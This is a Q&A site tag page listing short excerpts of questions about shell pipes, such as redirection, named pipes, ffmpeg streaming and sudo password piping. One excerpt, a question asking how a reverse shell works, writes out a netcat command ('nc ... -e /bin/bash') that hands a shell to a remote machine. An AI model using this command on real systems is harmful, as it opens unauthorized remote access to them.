People who code: we want your input. Take the Survey

Questions tagged [pipe]

A pipe connects the output of one program to the input of another program. This is especially used to implement the shell | operator.

Filter by
Sorted by
Tagged with
1
vote
2answers
33 views

Hide stdout from a command

I'm running the following command as a non privilaged user: ethtool eth0 |tail -1 | awk '{print $3}', which results this output: Cannot get wake-on-lan settings: Operation not permitted yes No ...
0
votes
0answers
14 views

Can I directly split the project archive in kdenlive?

I created a huge project in Kdenlive. Now, I wanted to archive it and then move the archive onto a Samba share with almost 50 GB free space, because I'm running low on free disk space on my main PC (9....
0
votes
0answers
11 views

Feeding output of nvidia-smi to tail command returns error

I have a custom nvidia-smi message where some additional information (e.g., username) is also output underneath the original output of the nvidia-smi message. I want to feed that output to a tail ...
0
votes
1answer
76 views

Sudo command is not asking password from stdin. And Failing

Whenever I am running any command with sudo, No password is asked from stdin. Instead, it automatically takes a password from somewhere and fails. Once All attempts are exhausted, my command is ...
0
votes
1answer
30 views

does output from LHS of pipe become an arg for RHS of pipe

I'm having difficulty grasping how pipes work. Initially I thought of them as per the title but I couldn't get a simple example to work e.g. mkdir temp cd temp echo "rubbish" > txtfile ...
0
votes
1answer
607 views

problem install pip ubuntu 16.04

I'm doing this to install pip: apt-get install python3-pip But when I try use the command I have this error: # pip3 install --upgrade pip Traceback (most recent call last): File "/usr/bin/pip3&...
-1
votes
2answers
52 views

Whats the difference between a pipeline operator and $()? [duplicate]

mint@mint-VirtualBox:/$ ls -l $(which cp) -rwxr-xr-x 1 root root 153976 Sep 5 2019 /usr/bin/cp mint@mint-VirtualBox:/$ which cp | ls -l total 1043228 lrwxrwxrwx 1 root root 7 Jan 21 15:09 ...
2
votes
1answer
73 views

find command is not able to find piped file

I have a file named .sock in /var/spool/ dir. Here is the result of ls -al /var/spool/ drwxr-xr-x. 9 root root 121 Dec 16 09:55 . drwxr-xr-x. 19 root root 267 Dec 14 10:47 .. drwxr-xr-x. 2 ...
0
votes
0answers
21 views

how to loop through a sequence of input files in a bash script? [duplicate]

I have a script file called "go" of which content reads these lines #!/bin/bash for i in $1 $2 .. $N do nohup /usr/bin/time $HOME/bin/antoine.out <$i >> $i.res 2>> $i....
0
votes
1answer
47 views

Why is piping operator used here?

Here are two commands I'm trying to understand. The first command downloads an installation script for NVM (nodejs version manager) and executes it. The second command installs nodejs using newly ...
0
votes
1answer
53 views

Piped commands run with sudo prefix result in indented output

I have an interesting issue on most of my servers, where commands prefixed with sudo and piped | to another program end up with indented output. Note that I'm going to use lsb_release command for the ...
0
votes
2answers
150 views

Shellcheck recommendation to double-quote variable does not work when piping to cut

I'm making a script to print ZFS filesystem info - currently in the testing phase, and I'm getting a strange error. The relevant bit of my initial script is this: zfs_human="$(zfs list | head -n ...
1
vote
2answers
228 views

Why Command Substitiution Works And Pipeline Not [duplicate]

I am practing | pipeline to pass output. Firstly, I tried basename as $ basename -a $(ls test_directory/*) This line works as expected and showed only file's name without directory's. But when I try ...
0
votes
0answers
39 views

Detecting end of a sox stream in combination with netcat

I'm sending an audio stream with sox to a TCP port on the same machine. I use this code for it: sox test.wav -t raw -c 1 -b 16 -r 16k -e signed-integer - | \ nc -N localhost $port >> $out When ...
7
votes
2answers
1k views

Bash function to robustly pipe terminal output to vim

I often re-direct my terminal output to vim, in this fashion, which I get tired of typing all the time: ls | vim - I would like to define a function v to do this for me, i.e I want to be able to type:...
1
vote
1answer
285 views

Pipe password argument to mount shell command

Status quo Given are following /etc/fstab mount points: //server/app /home/user/server/app cifs noauto,user,vers=3.11 0 0 //server/code /home/user/server/code cifs noauto,user,vers=3.11 0 0 These ...
1
vote
1answer
992 views

How to get video audio stream using ffmpeg pipe fdkaac m4a?

I want final file as .mkv containing video stream copy and audio stream encoded by fdkaac bt unfortunately i only get audio file pls help me how to pipe video stream also here??? I tried this: ...
2
votes
0answers
78 views

Help getting SSH server working again?

I have a ubuntu desktop on my home network that I used to be able to ssh into from several different machines, but about a week ago it stopped working. The only thing that I can think of that I ...
0
votes
1answer
109 views

use systemd-escape in an interavtive way

If we use systemd-escape SomePassword, the password will be stored in bash_history file. Is it possible to use it in an interactive way? cat | systemd-escape fails as systemd-escape expects the ...
0
votes
1answer
69 views

Pipe script output in terminal to filter lines

#!/bin/bash for f in *.{jpg,png,webm,mp4}; do mv "$f" "$(sed 's/[^0-9A-Za-z_.]/_/g' <<< "$f>; done Currently using this script to turn all of the specified files of that extension and ...
0
votes
0answers
49 views

Xorg input device from a named pipe

I am trying to create a virtual input device that does a complex remapping of key presses of an existing keyboard. The remapped output stream is written to a named pipe which is supposed to serve as ...
0
votes
1answer
101 views

Custom Commands on Terminal with pipe character

I need to make some custom commands on Ubuntu, everything is working fine until I found that my new custom command requires to have | as a input parameter. So, when I created my function it is not ...
0
votes
1answer
232 views

Terminal window doesn't show my input after using popen() in my program

In my C++ program I use popen() to read video frames with ffmpeg. When program stops on it's own or I close it with Ctrl+C everything I type into terminal just never appears (but it's there). I do ...
2
votes
1answer
985 views

Communicating via a local socket or named pipe

I'm reading a book that is related SSH. I can't figure out what this sentence means. SSH clients communicate with the agent via a local socket or named pipe whose filename is stored in an ...
1
vote
1answer
112 views

SIGQUIT breaks the pipe

Linux ping utility can produce some statistics on receiving SIGQUIT without terminating. It looks like this: PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. 64 bytes from 8.8.8.8: icmp_seq=1 ttl=45 time=...
0
votes
3answers
99 views

How to treat an output of find as a string not a refrence to a file or directory

when I run find ~/foo/bar/. -mindepth 1 -maxdepth 1 -type d I get an output of all subdirectories of the given path. e.g. /home/user/foo/bar/a /home/user/foo/bar/b ... /home/user/foo/bar/abcd ...
4
votes
2answers
240 views

cat | dd inconsistent behavior

From a given a file, I have a requirement to create a copy that is padded with zeros to a specific size. If you create a file with the following. echo test >testfile The output of the following ...
5
votes
2answers
1k views

Piping the output of comand columns

I am using lolcat to get the output of ls in color. To do this i have copied /usr/bin/ls to /usr/bin/lsslss (to avoid an endless loop since alias cannot acccept $* or $@) and I have added the function:...
1
vote
1answer
460 views

What does `cat file | ssh host 'cat - >file'` do?

this is the script: #!/bin/bash usage() { echo "deploy-nginx.sh --production|--staging" } case "$1" in --staging) NGINX_CONF="conf/nginx-staging"; HOST="staging" ;; --production) ...
1
vote
1answer
222 views

What does this command mean?

While searching installation of lxqt I found apt install command for lxqt-sudo | gksu, xfwm4 | x-window-manager, firefox | www-browser. What does this commands mean? What is the difference with ...
0
votes
1answer
178 views

Why doesn't this work: ~$ echo “trythis” | sh ./script.sh

I'm trying to feed the string trythis into the script I made that creates a directory using what is written after it. For example this works: ~$ sh ./script trythis But using the pipe does not. I ...
2
votes
2answers
624 views

PDF a set of Office Libre files from the command line

Assume a set of .docx files are in a directory to be converted to .pdf format. Is there a clever way to list the files and pipe it into a command that would 'print' the pdf files to a target ...
4
votes
1answer
2k views

How does this command work? (reverse shell)

There was a simple way to connect two systems and getting a shell using nc command as below. machine A to listen nc -nlvp 4444 machine B to connect nc 192.168.4.4 4444 -e /bin/bash However ...
2
votes
1answer
695 views

CLI line buffer: How to pipe to grep an output stream?

I have this command (for pomodoros): play -n synth 25:00 pinknoise I don't want to silent completely the output (-q option), just the header (grep don't work). Normal output: File Size: 94.3T ...
-1
votes
1answer
326 views

Concatenation of two cURL commands fails, but the commands work separately

I am trying to concatenate two curl commands using a pipe. First there is a simple authentication that works using curl https://myserver --user username:password Second I need to use GLPI API for ...
0
votes
1answer
75 views

getting the uniqueness from extracted grep results BUT with stream as an input

On finished input (like a file) we can do that: cat file | grep -o memory=[3-9] | sort -u But sort won't work with a stream: tail -f server.log | grep -o memory=[3-9] | sort -u server.log can be ...
0
votes
0answers
21 views

Why do I get different output from the same commands? (redirect and piping) [duplicate]

So I'm learning to use the CLI and I'm playing around with redirecting and piping and then I get different output from executing the same commands. Basically I'm listing all executables from /bin/ ...
0
votes
1answer
107 views

What is the difference between command grouping and pipelining?

I couldn't understand the difference between command grouping and pipelining
3
votes
1answer
1k views

How to close a named pipe (thereby enabling it for cat)?

I need help closing a named pipe. I created a named fifo via mkfifo myfifo, then some C++ executable files wrote/read from myfifo, and now I wish to close it (so I can cat its contents to read them). ...
4
votes
2answers
4k views

how to split input to two pipes

I would like to do something equivalent to this: some-expensive-command > /tmp/mytempfile grep -v "pattern" /tmp/mytempfile >> output.txt grep "pattern" /tmp/mytempfile | yet-another-command ...
2
votes
1answer
1k views

How to split awk output to multiple lines for piping

I'm currently putting together a quick script that deploys multiple vagrant machines locally for dev purposes. Par of the procedure consists of adding the ssh key to the vagrant boxes. So far, ...
1
vote
2answers
1k views

Is `/dev/shm` universal in Linux and Ubuntu?

For FIFO pipe speed I'm considering placing it inside the RAM disk called /dev/shm. I see there are some files there already: $ ll /dev/shm total 1536 drwxrwxrwt 2 root root 280 Oct 2 17:...
0
votes
1answer
34 views

Find latest modified *.c file and compile it within terminal with pipelining?

Lately I have coded a little bit more with the terminal in Linux to get a deeper understanding of programming. Right now I am trying to automatize the compiling process with the following command: ...
0
votes
2answers
338 views

Pipe decrypted password to command

I would like to modify this so, my password is never visible. The method would need to work standalone and in scripts. echo fake | sudo -S thunar
6
votes
1answer
2k views

How to pipe all bash terminal output through command [duplicate]

I would like to be able to pipe all bash terminal commands through a certain command (for no good reason other than to play a prank on someone). I just want to pipe the stdout of any executed command ...
2
votes
1answer
397 views

How to pipe installed packages to apt-cache?

I'm trying to get package description of my installed packages. It would look like this: sudo apt list --installed | sed 's/\/.*//' | apt-cache search {} \; The problem is to send each line from ...
-1
votes
1answer
52 views

how to find & delete folder with a certain with find

I have a drive with daily backups (twice a day) and need to delete a folder in each backup which is pretty deep into a folder structure. /mnt/backup/backup/[yymmdd_hhmm/backup-clients/[username]/ ...
0
votes
3answers
130 views

Pipe for three commands [duplicate]

In the manual of sudo I need to search for -k so I tried this: man sudo | grep '\-k' But it would result a paragraph be half-written on the output: sudo -h | -K | -k | -V Similar to ...
2
votes
1answer
696 views

Play mp4 video file, by piping avconv to avplay on Ubuntu 14?

On Ubuntu 14.04, there is avconv/avplay instead of ffmpeg/ffplay; version is: $ avconv -version avconv version 11.3-6:11.3-1~trusty, Copyright (c) 2000-2014 the Libav developers built on Apr 13 ...
-6
votes
2answers
3k views

echo -e: A white space is added before the second sentence in <first sentence> \n <second sentence>

In Bash, I'm having a small trouble with the echo command and one of its -e sequences: A white space is added before the second sentence in <first sentence> \n <second sentence>. This is ...